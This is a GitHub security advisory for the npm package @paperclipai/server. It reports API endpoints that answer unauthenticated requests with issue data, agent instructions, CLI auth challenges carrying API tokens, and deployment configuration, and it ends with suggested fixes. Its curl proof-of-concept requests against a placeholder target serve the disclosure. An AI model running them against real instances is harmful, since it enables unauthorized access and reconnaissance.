GHSA-xfqj-r5qw-8g4j: Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
Summary Several API endpoints in authenticated mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed. Verified against the latest version. Discord: sagi03581 Steps to Reproduce 1.
Published Apr 16, 2026
Affected packages
@paperclipai/server
- Ecosystem
- npm
- Affected
- < 2026.416.0
- Fixed in
- 2026.416.0
- Check
npm ls @paperclipai/server
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Several API endpoints in authenticated mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
Steps to Reproduce
1. Unauthenticated issue data access
GET /api/heartbeat-runs/:runId/issues returns issue data for a heartbeat run with zero authentication. Every other endpoint in server/src/routes/activity.ts calls assertCompanyAccess, but this one was missed.
curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> [] (HTTP 200, not 401 or 403)If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.
2. Unauthenticated CLI auth challenge creation
POST /api/cli-auth/challenges creates a CLI authentication challenge with no actor check at all. The handler at server/src/routes/access.ts:1638-1659 skips any auth verification.
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API keyThe response includes a boardApiToken that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.
3. Unauthenticated agent instruction / system prompt leakage
These endpoints in server/src/routes/access.ts require no authentication:
curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints
curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
# - every API endpoint and its parameters
# - authentication mechanism (env var names, header formats)
# - the complete agent coordination protocol
# - the agent creation/hiring workflow
curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configsThis hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.
4. Unauthenticated deployment configuration disclosure
GET /api/health returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.
curl -s http://<target>:3100/api/health
# {
# "deploymentMode": "authenticated",
# "deploymentExposure": "public",
# "authReady": true,
# "bootstrapStatus": "ready",
# "version": "2026.403.0",
# ...
# }Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.
Impact
- Data exposure: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
- Reconnaissance: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
- Auth bypass stepping stone: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).
Suggested Fixes
- Add authentication to heartbeat run issues in
server/src/routes/activity.ts: GET /api/heartbeat-runs/:runId/issues-- addassertCompanyAccesslike every other endpoint in the same file
- Add authentication to CLI challenge creation in
server/src/routes/access.ts: POST /api/cli-auth/challenges-- addassertBoardat minimum
- Add authentication to skill endpoints in
server/src/routes/access.ts: GET /api/skills/availableGET /api/skills/indexGET /api/skills/:skillName
- Reduce health endpoint information -- consider removing
deploymentMode,deploymentExposure, andversionfrom the unauthenticated response, or gating the full response behindassertBoard
- Consider a global auth rejection middleware for all
/api/*routes inauthenticatedmode. Currently unauthenticated requests getactor: { type: "none" }and pass through tonext(), relying on each route handler to check individually. A missing check means an open endpoint. Rejectingtype: "none"at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.
Contact
Discord: sagi03581
Happy to help verify fixes or provide additional details.
Credited to sagilayani.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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